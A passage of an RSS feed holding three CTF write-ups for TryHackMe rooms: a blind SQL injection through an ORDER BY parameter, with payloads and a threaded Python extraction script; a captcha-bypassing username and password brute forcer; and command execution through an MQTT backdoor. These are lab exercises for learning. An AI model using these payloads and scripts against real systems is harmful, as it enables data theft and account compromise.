date</figcaption></figure><h4>The order GET parameter</h4><p>It looks like we’ve got some cool functionality to analyze. At this point, we can assume the query appears to be something like:</p><pre>SELECT columns FROM table ORDER BY get(order)</pre><p>We know that we can use indexes instead of the columns names. By doing that, we are able to count the number of columns of the current table. Let’s try to pass numeric indexes to the order parameter.</p><p>The first index in a row, generally is the “id” column, as you can see below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nIhl-vwwNRYbjV8ylHsaDg.png" /></figure><p>The second index may be the title.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wAfmOgS19ryz6Kv9tEE4aA.png" /></figure><p>The third, “done” column.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQq7IR16qDdT639qHoqS6Q.png" /></figure><p>And, for sure, this is the date column, because the tasks are sorted by date.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*is5MIVDLkirTtus4y6C0Sg.png" /></figure><p>Now, we’ve got a server error, which means we have no more indexes to test, so the table has 4 columns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*zj5seZW9QIk7gHHJb5Tlpw.png" /></figure><h4>SQL Injection Vulnerability</h4><p>As we were able to count the number of columns using a common technique used in UNION attacks, you may think that this is the way. Wrong.</p><p>After doing some research, I’ve found this nice article: <a href="https://portswigger.net/support/sql-injection-in-the-query-structure">https://portswigger.net/support/sql-injection-in-the-query-structure</a></p><p>That’s exactly what we need. In the image below, you can see that I injected the “desc” statement and it worked.</p><pre>http://&lt;IP&gt;/?order=title desc </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7tXSo1VlAdVYn5AiqwzWOA.png" /></figure><p>So, remember what I said in the “Navigating through the application” section, we have two different types of HTTP responses. If we sort by title, the order is (“aaaa”, “bbbb”), else if we sort by date, the order is reversed.</p><p>There are two different types of HTTP responses. If we are able to inject a condition inside the query, that’s a boolean-based blind SQL injection.</p><p>Let’s try to inject a condition using the following payload:</p><pre>(CASE WHEN (1=1) THEN title ELSE date END); --</pre><p>This payload will be applied to the parameter “order” and URL encoded, like:</p><pre>http://&lt;IP&gt;/?order=(CASE%20WHEN%20(1=1)%20THEN%20title%20ELSE%20date%20END);%20--</pre><p>So, if the condition (1=1) is true, we sort by title, else we sort by date.</p><pre>SELECT columns FROM table ORDER BY (CASE WHEN (1=1) THEN title ELSE date END); --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klTiV5B4cr7pwaUZIke2Hg.png" /></figure><p>As we can see in the image above, the tasks are sorted in title ascending order, because 1 = 1 is always true.</p><p>Since the application is vulnerable to boolean-based blind SQL injection, we can manually extract some initial information needed for the flag.</p><h4>What is the database engine?</h4><p>The first relevant information is obtained using the following payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*YVlGpzPfS9GuK7dzVxM4eA.png" /></figure><p>As this didn’t return a 500 error code, the database is sqlite.</p><p>For the next four sections, we will be using the payloads from this awesome repo: <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md</a></p><p>I won’t explain all the payloads, because they follow the same logic. Let’s take, for example, the table name. We don’t know the length of the string neither the content of it, but the logic is: for every position of the string, try every possible ASCII character and if our condition is true, then the current char is the correct one. To query the character of a string in a specific position, we can use the function substr(string, position, 1), where 1 is the length of the substring.</p><h4>Enumerating number of tables</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*LFOXPXMBO_xQyetbP4uVnA.png" /></figure><h4>Extracting table name</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*IvIR0iQXhspi20gZ2EHabw.png" /></figure><h4>Enumerating Number of Columns</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*zIRrtAum-qJtRERLGby4XA.png" /></figure><h4>Extracting column name</h4><pre>(CASE WHEN (SELECT substr(name, 1, 1) FROM pragma_table_info(&#39;flag&#39;))=&#39;a&#39; THEN title ELSE date END); --</pre><h4>Exploit</h4><p>As you may have noticed, exploit this vulnerability manually could take forever. So, as usual, I’ve written an exploit, that extracts automatically the table name, column name and, of course, the flag.</p><p>There are three actions in the code: get table name, get column name and get flag.</p><p>The “chars” variable contains our alphabet of chars to try in the string.</p><p>The “ok” variable contains the response when the tasks are sorted by title, which corresponds to true in the condition of payload.</p><p>For every action, there is a specific payload to use (which you can get in the sections above). There is a call to “tgt” function for every position in the string to be extracted (I’ve fixed 38 because it is the size of the flag). This “tgt” function is the piece of code that makes a request using the correct payload and test if the response corresponds to the “ok” variable (which contains the response when the tasks are sorted by title).</p><pre>import requests<br>import threading<br><br>chars = [chr(i) for i in range(33, 127)]<br><br>s = requests.Session()<br><br>url = &quot;http://&lt;IP&gt;/&quot;<br><br>ok = s.get(url + r&quot;?order=(CASE%20WHEN%20(1=1)%20THEN%20title%20ELSE%20date%20END);%20--&quot;)<br>ok = ok.content<br><br>ans = [&#39;&#39; for i in range(38)]<br><br>table_name = &quot;&quot;<br>column_name = &quot;&quot;<br>flag = &quot;&quot;<br><br>def do_column_name(i: int, u: str, c: str):<br>    payload = f&quot;&quot;&quot;?order=(CASE%20WHEN%20(SELECT%20substr(name,%20{i},%201)%20FROM%20pragma_table_info(&#39;{table_name}&#39;))=%27{c}%27%20THEN%20title%20ELSE%20date%20END);%20--&quot;&quot;&quot;<br>    return s.get(u+payload)<br><br>def do_table_name(i: int, u: str, c: str):<br>    payload = f&quot;&quot;&quot;?order=(CASE%20WHEN%20(SELECT%20substr(name,%20{i},%201)%20FROM%20sqlite_schema%20WHERE%20type%20=&#39;table&#39;%20LIMIT%201%20OFFSET%201)=%27{c}%27%20THEN%20title%20ELSE%20date%20END);%20--&quot;&quot;&quot;<br>    return s.get(u+payload)<br><br>def do_get_flag(i: int, u: str, c: str):<br>    payload = f&quot;&quot;&quot;?order=(CASE%20WHEN%20(SELECT%20substr({column_name},%20{i},%201)%20FROM%20{table_name})=%27{c}%27%20THEN%20title%20ELSE%20date%20END);%20--&quot;&quot;&quot;<br>    return s.get(u+payload)<br><br>def tgt(i: int):<br>    for c in chars:<br>        fail = True<br>        while fail:<br>            try:<br>                if action == &quot;flag&quot;:<br>                    response = do_get_flag(i, url, c)<br>                elif action == &quot;table&quot;:<br>                    response = do_table_name(i, url, c)<br>                else:<br>                    response = do_column_name(i, url, c)<br>            except:<br>                continue<br>            else:<br>                fail = False<br>        if response.content == ok:<br>            ans[i-1] = c<br>            break<br><br>actions = [&quot;table&quot;, &quot;column&quot;, &quot;flag&quot;]<br>for action in actions:<br>    threads = list()<br><br>    for j in range(38):<br>        t = threading.Thread(target=tgt, args=(j+1, ))<br>        t.start()<br>        threads.append(t)<br><br>    for t in threads:<br>        t.join()<br>    print(f&quot;action: {action}&quot;)<br>    print(&#39;&#39;.join(ans))<br>    if action == &quot;table&quot;:<br>        table_name = &#39;&#39;.join(ans)<br>    elif action == &quot;column&quot;:<br>        column_name = &#39;&#39;.join(ans)<br>    else:<br>        flag = &#39;&#39;.join(ans)<br>    ans = [&#39;&#39; for i in range(38)]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*pTmeezwImRoZhK204-PFFw.png" /><figcaption>Output of execution</figcaption></figure><h4>Speeding up the execution time</h4><p>To speed up a lot of the execution time, I’ve used 38 threads because it is the size of the flag. I don’t know if this is the optimum number of threads, but it is ok.</p><h4>Conclusion</h4><p>This was a very nice room where we’ve practiced some cool SQL injection techniques and wrote some code to automate the exploitation.</p><p>Thank you for reading and see you in the next writeup!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=15ef05623e48" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Capture!]]></title>
            <link>https://medium.com/@lorenzomoulin/tryhackme-capture-e7a344fc01fa?source=rss-8dce785318a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7a344fc01fa</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Lorenzo Moulin]]></dc:creator>
            <pubDate>Mon, 08 May 2023 22:15:35 GMT</pubDate>
            <atom:updated>2023-05-08T22:15:35.366Z</atom:updated>
            <content:encoded><![CDATA[<h4>Introduction</h4><p>This <a href="https://tryhackme.com/room/capture">challenge</a> is about bypassing a login form poorly designed with a math captcha. You will need to put your programming skills to code a customized brute forcer and get the flag!</p><h4>Initial steps</h4><p>As the task 2 suggests, we need to bypass the login form, so we won’t be doing any kind of enumeration on the host.</p><p>Let’s start by downloading the task files. We were given two files: usernames.txt and passwords.txt. Intuitively, we can suppose these are the wordlists needed to find the valid credentials in the application.</p><p>We were given 878 usernames and 1567 passwords, as we can see in the two images below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*BR821i8eINHjvc6MGmVDNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*K9CGa_3uAnK6g_GuKCUSvA.png" /></figure><p>To make sure we find the valid credentials, trying all pairs of username and password would be an option, but it takes a lot of time. As this is a <a href="https://en.wikipedia.org/wiki/Cartesian_product">cartesian product</a>, the total number of pairs is: 1,375,826. If the server takes, in average, 100ms per request, this attack would take approximately 38 hours, which is a lot of time.</p><h4>Analyzing the application</h4><p>Accessing the provided machine, we get this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*sxMyXIqvS0K7g9nVCEOTDg.png" /></figure><p>Let’s try some random username to check if we can enumerate the usernames:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*TVGKfuz2BkmXoLgCScSTag.png" /></figure><p>As we can see, the application is vulnerable to <a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account">username enumeration</a>. This vulnerability is crucial for our attack execution time, as we are able to drastically reduce the amount of attempts.</p><p>Initially, we will use BurpSuite Intruder to enumerate the users, selecting the <a href="https://portswigger.net/burp/documentation/desktop/tools/intruder/configure-attack/attack-types#sniper">Sniper </a>attack, using the usernames wordlist as our payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KZDmw2zlCWg35dLk0w6BMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*EqnUhmhF5VNrWQYYFk4I0w.png" /></figure><p>After the configuration, just click “Start Attack” and monitor the requests.</p><p>As expected, there is a captcha after some incorrect login attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*T_EJ-ItnWqoPBtItVzlJvg.png" /></figure><p>This captcha is a math expression in text. So, we can easily automate this with a bit of programming.</p><p>For each username, make a request with the username and check the response. You may receive 4 types of messages:</p><p>1 — The user does not exist;</p><p>2 — Captcha enabled;</p><p>3 — Invalid captcha;</p><p>4 — Incorrect password;</p><p>If none of these messages above are received, then you found the correct credentials.</p><h4>Coding the user enumeration</h4><p>Besides the user and password, we also need to solve the captcha, this is easy using the python <a href="https://docs.python.org/3/library/functions.html#eval">eval</a> function.</p><p>Inspecting the web page containing the captcha, we can extract the full XPath of the captcha expression.</p><p>Let’s set some constants, import some modules and read the files.</p><pre>import requests<br>from lxml import html<br>import threading<br>from math import sqrt<br><br>IP = &quot;10.10.152.199&quot;<br>PORT = &quot;80&quot;<br><br>captcha_detect = &quot;Captcha enabled&quot;<br>captcha_xpath = &quot;/html/body/div[1]/form/text()&quot;<br>invalid_captcha = &quot;Invalid captcha&quot;<br><br>session = requests.session()<br><br>with open(&quot;usernames.txt&quot;) as users:<br>    usernames = [x.strip() for x in users.readlines()]<br><br>with open(&quot;passwords.txt&quot;) as passwds:<br>    passwords = [x.strip() for x in passwds.readlines()]</pre><p>Using the Burp Extension <a href="https://portswigger.net/bappstore/b324647b6efa4b6a8f346389730df160">Copy As Python-Requests</a>, we are able to easily extract the parameters of an HTTP request into python code.</p><p>The function below is responsible for user enumeration. The “detects captcha” commented section, extracts the captcha expression, evaluates it and send as a POST parameter.</p><p>If the error message isn’t found in the response, then the user is valid.</p><pre>def enumerate_user(user, pw, captcha=&quot;&quot;):<br>    burp0_url = f&quot;http://{IP}:{PORT}/login&quot;<br>    burp0_headers = {&quot;Cache-Control&quot;: &quot;max-age=0&quot;, &quot;Upgrade-Insecure-Requests&quot;: &quot;1&quot;, &quot;Origin&quot;: f&quot;http://{IP}&quot;, &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;, &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36&quot;, &quot;Accept&quot;: &quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&quot;, &quot;Referer&quot;: f&quot;http://{IP}/login&quot;, &quot;Accept-Encoding&quot;: &quot;gzip, deflate&quot;, &quot;Accept-Language&quot;: &quot;en-US,en;q=0.9,pt-BR;q=0.8,pt;q=0.7&quot;, &quot;Connection&quot;: &quot;close&quot;}<br>    burp0_data = {&quot;username&quot;: user, &quot;password&quot;: pw}<br>    if captcha != &quot;&quot;:<br>        burp0_data[&quot;captcha&quot;] = captcha<br>    response = session.post(burp0_url, headers=burp0_headers, data=burp0_data)<br>    # detects captcha<br>    if captcha_detect in response.text and captcha == &quot;&quot; or invalid_captcha in response.text:<br>        tree = html.fromstring(response.content)<br>        challenge = tree.xpath(captcha_xpath)<br>        for e in challenge:<br>            if &quot;= ?&quot; in e:<br>                return enumerate_user(user, pw, str(eval(e.strip().split(&quot;= ?&quot;)[0])))<br>    # detect valid user<br>    error = f&quot;The user &amp;#39;{user}&amp;#39; does not exist&quot;<br>    if error not in response.text:<br>        print(user, flush=True)<br>        return True<br>    return False</pre><h4>Brute forcing the valid user</h4><pre>def login(user, pw, captcha=&quot;&quot;):<br>    burp0_url = f&quot;http://{IP}:{PORT}/login&quot;<br>    burp0_headers = {&quot;Cache-Control&quot;: &quot;max-age=0&quot;, &quot;Upgrade-Insecure-Requests&quot;: &quot;1&quot;, &quot;Origin&quot;: f&quot;http://{IP}&quot;, &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;, &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36&quot;, &quot;Accept&quot;: &quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&quot;, &quot;Referer&quot;: f&quot;http://{IP}/login&quot;, &quot;Accept-Encoding&quot;: &quot;gzip, deflate&quot;, &quot;Accept-Language&quot;: &quot;en-US,en;q=0.9,pt-BR;q=0.8,pt;q=0.7&quot;, &quot;Connection&quot;: &quot;close&quot;}<br>    burp0_data = {&quot;username&quot;: user, &quot;password&quot;: pw}<br>    if captcha != &quot;&quot;:<br>        burp0_data[&quot;captcha&quot;] = captcha<br>    response = session.post(burp0_url, headers=burp0_headers, data=burp0_data)<br>    # detects captcha<br>    if captcha_detect in response.text and captcha == &quot;&quot; or invalid_captcha in response.text:<br>        tree = html.fromstring(response.content)<br>        challenge = tree.xpath(captcha_xpath)<br>        for e in challenge:<br>            if &quot;= ?&quot; in e:<br>                return login(user, pw, str(eval(e.strip().split(&quot;= ?&quot;)[0])))<br>    # detect successful login<br>    invalid = f&quot;Invalid password for user &amp;#39;{user}&amp;#39;&quot;<br>    return invalid not in response.text</pre><p>Running this function above for the valid users and using the same logic for the captcha, we are able to find the valid credential and get the flag, because the only difference is that we will get invalid password attempts.</p><p>Now, you have the enumerate_users function and the login function. I left as an exercise for you, to join these pieces of code and bypass the login form.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e7a344fc01fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bugged — THM Writeup]]></title>
            <link>https://medium.com/@lorenzomoulin/bugged-thm-writeup-b2f762426fa3?source=rss-8dce785318a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2f762426fa3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <dc:creator><![CDATA[Lorenzo Moulin]]></dc:creator>
            <pubDate>Wed, 08 Mar 2023 00:48:13 GMT</pubDate>
            <atom:updated>2023-05-24T10:10:16.878Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe | Bugged</h3><p>Hello, this is my first writeup. I really enjoyed the mosquitto backdoor theme. Link to the room: <a href="https://tryhackme.com/room/bugged">https://tryhackme.com/room/bugged</a></p><h3>Recon</h3><p>Let’s start with the reconnaissance of the application, using nmap. So, running the command in the image below is sufficient to get all the services and versions in the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I6dqU9AMR8RQGqYenxuasg.png" /></figure><p>As we can see, there is a port 1883 open and running mosquitto 2.0.14. This is a MQTT (Message Queuing Telemetry Transport) broker. MQTT is a lightweight communication protocol commonly used by IoT devices. If you desire to read more about MQTT, see the link: <a href="https://mqtt.org/">https://mqtt.org/</a></p><p>Basically, a MQTT Broker is responsible for handling and distributing the messages to the hosts that are subscribed to the topics. As shown in the image above, there are lots of topics listed, but the topic “ yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config” caught my attention because of the config word and the base64 encoded message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RGDiw197u22dhp19Es5kwQ.png" /><figcaption>Base64 encoded message</figcaption></figure><h3>Analyzing Information</h3><p>Using CyberChef, we can quickly decode this message and get valuable information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uzoNXTe2UjDPFKJwo6t1yg.png" /></figure><p>There are 4 fields in the JSON string. These 4 fields in conjunction, lead me to think that we are able to run commands in the MQTT broker.</p><p>The <em>pub_topic </em>JSON field above, is responsible for publishing the response for the command we send to the broker. The <em>sub_topic</em>, is responsible for receiving our payload.</p><p>So, open a terminal and subscribe to the <em>pub_topic </em>“U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub”, with the command “<em>mosquitto_sub -h &lt;host&gt; -t &lt;topic&gt;</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*qmefyB3AjlFSJ2JhONUxcg.png" /></figure><p>Just for testing, let’s send some garbagge to the s<em>ub_topic. </em>Open another terminal and send this garbagge, because you need to listen to the message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*KVx0EKRRYop13u_XvGSYNQ.png" /></figure><p>In the mosquitto_sub terminal, we can see the message we received, and again, it’s base64 encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*pebG9eO9sENLPdxJUdRCXQ.png" /></figure><p>So, let’s decode with CyberChef:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p-xKxNa-34ek1m2oBT7OrA.png" /></figure><p>We can see in the image above that we need to create a JSON string with 3 fields, base64 encode and then send to the broker, so it can understand the message and run our command. The first field, id, is the same shown earlier. The cmd field, is one of the three options: HELP, SYS, CMD. And arg, is the argument to the cmd field.</p><p>Let’s send a first command to see if this works. I’ll send a HELP.</p><p>So, the JSON is: {“id”: “cdd1b1c0–1c40–4b0f-8e22–61b357548b7d”, “cmd”: “HELP”, “arg”: “”}</p><p>This JSON base64 encoded is: eyJpZCI6ICJjZGQxYjFjMOKAkzFjNDDigJM0YjBmLThlMjLigJM2MWIzNTc1NDhiN2QiLCAiY21kIjogIkhFTFAiLCAiYXJnIjogIiJ9</p><p>Sending this base64 string to the broker, we receive:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*o59g1p5CJEpWBQxyxQ4ZMA.png" /></figure><p>Decoding it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fcbYpscgdqd_0QcuBw4cNQ.png" /></figure><p>To run a command, we just need to put “CMD” into the <em>cmd</em> field and put the actual linux command into the <em>arg </em>field. For example:</p><p>{“id”: “cdd1b1c0–1c40–4b0f-8e22–61b357548b7d”, “cmd”: “CMD”, “arg”: “ls”}</p><p>Encoding it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jM9OKsijWVfdkBEeJhXo8A.png" /></figure><p>Sending:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*s9eS3vhPqQv40YCF5D-VhA.png" /></figure><p>Receiving:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*m4hntZjOZkHlmqjT0LeaFQ.png" /></figure><p>Decoding:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gjUfXcBabsuFEP_QvjfXbA.png" /></figure><p>As seen in the image above, we just need to run “cat flag.txt” and finish the room.</p><p>Just replace “ls” and you’re able to catch the flag.</p><h3>Bonus</h3><p>I wrote a python exploit to automate this procedure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F1ISu4mD01IgqPONqlnNyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*JVhSS7Ux_VgXCWsgr1FTpw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2f762426fa3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>